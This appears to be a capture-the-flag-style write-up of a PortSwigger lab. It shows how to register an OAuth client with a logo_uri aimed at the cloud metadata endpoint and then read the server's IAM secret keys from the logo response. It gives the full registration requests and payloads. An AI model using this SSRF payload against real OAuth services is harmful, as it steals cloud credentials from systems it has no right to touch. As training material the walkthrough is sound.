SSRF via OpenID dynamic client registration

5 min read Hard Portswigger
OAuth authentication
Contents

On this page

The lab

here is how portswigger describes it

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF. To solve the lab, craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider's cloud environment. You can log in to your own account using the following credentials: wiener:peter

the new pieces in this lab#

we covered the basics of OAuth in the implicit-flow lab (client app, OAuth service, access token). this one adds a few OpenID-specific concepts worth naming before we start.

  • OpenID Connect (OIDC) is a thin identity layer built on top of OAuth. where plain OAuth is about authorization (granting access to data), OIDC standardises authentication (proving who you are) and, importantly for us, standardises a lot of the plumbing, including how clients describe themselves.
  • the discovery document lives at a fixed path, /.well-known/openid-configuration. it is a public JSON file where the OAuth service advertises all its endpoints, authorization, token, userinfo, and the registration endpoint. it is the map we read first.
  • dynamic client registration is an OIDC feature that lets a brand-new client application register itself with the OAuth service by POSTing a JSON blob of metadata to a registration endpoint (here /reg), with no authentication. the response gives back a client_id. this openness is the crack we lever.
  • client metadata are the properties that JSON blob can contain. one mandatory field is redirect_uris (the callback allowlist). an optional one is logo_uri, a URL to the client's logo, which the OAuth service will later fetch and display on the consent screen. a URL the server fetches on our behalf is the textbook ingredient for SSRF. SSRF (server-side request forgery) means making the server issue an HTTP request to a destination we choose. the prize here is the cloud metadata endpoint, http://169.254.169.254/. on AWS (and similar on other clouds) this is a magic link-local address reachable only from inside the instance; querying .../latest/meta-data/iam/security-credentials/<role>/ returns the temporary IAM access keys the instance runs with. if we can make the OAuth server fetch that URL and show us the response, we steal its cloud credentials.

the plan: register a client with logo_uri pointing at the metadata endpoint, then load the logo (GET /client/CLIENT-ID/logo), which makes the server fetch our URL and hand back the credentials.

why the logo_uri gives us SSRF#

the flaw is that the OAuth service takes a URL supplied by an unauthenticated stranger (logo_uri) and fetches it server-side, from its own trusted network position, without restricting where it may point. the feature is innocent in intent, show the client's logo on the consent page, but the server is the one making the outbound request, so the request inherits the server's network access. that server lives inside a cloud environment where 169.254.169.254 exposes its IAM credentials to anything running locally. by setting logo_uri to that internal address and then triggering the logo fetch, we borrow the server's identity to read a resource we could never reach ourselves. the registration endpoint being open and unauthenticated just means there is nothing standing between us and that fetch.

Step 1 - read the discovery document#

while proxying through Burp, we log in to our own account. we browse to https://oauth-YOUR-OAUTH-SERVER.oauth-server.net/.well-known/openid-configuration to read the configuration file, and note that the client registration endpoint is at /reg.

11

Step 2 - register a client application#

in Repeater we craft a POST /reg to register our own client with the OAuth service. the minimum required is a redirect_uris array holding an arbitrary allowlist of callback URIs for our fake app:

json
{
    "redirect_uris" : [
        "https://example.com"
    ]
}

we send it and register successfully, with no authentication required. the response returns metadata for our new client, including a fresh client_id.

22

auditing the OAuth flow, we notice the Authorize page, the consent screen where the user approves the requested permissions, displays the client's logo, fetched from /client/CLIENT-ID/logo. from the OpenID spec we know a client can set its logo's URL via the logo_uri property during registration. so the logo the server shows is whatever URL we registered, fetched by the server. we send the GET /client/CLIENT-ID/logo request to Repeater.

33
44

Step 4 - register with a Collaborator logo_uri#

back in the POST /reg request, we add a logo_uri property and right-click Insert Collaborator payload to drop in a Collaborator URL (Collaborator is Burp's server that records any DNS/HTTP request sent to it, our canary for out-of-band interactions). the request looks like:

POST /reg HTTP/1.1
Host: oauth-YOUR-OAUTH-SERVER.oauth-server.net
Content-Type: application/json
 
{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}

we send it to register a new client and copy the client_id from the response.

55

Step 5 - confirm the SSRF out-of-band#

in the GET /client/CLIENT-ID/logo request we replace CLIENT-ID with the new one and send it. we check the Collaborator tab and see an HTTP interaction, the server tried to fetch our non-existent logo. that confirms logo_uri makes the OAuth server issue requests to a URL we control.

66

Step 6 - point logo_uri at the metadata endpoint#

back in POST /reg, we replace the logo_uri value with the target internal URL:

json
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"

we send it and copy the new client_id from the response.

77

Step 7 - retrieve the cloud credentials#

we go back to GET /client/CLIENT-ID/logo, swap in the latest client_id, and send it. instead of an image, the response body contains the sensitive IAM metadata for the OAuth provider's cloud environment, including the secret access key, the server fetched the metadata endpoint for us and returned it as the "logo".

88

Step 8 - submit the key#

we use the Submit solution button to submit the stolen access key.

99

with this, the lab is solved!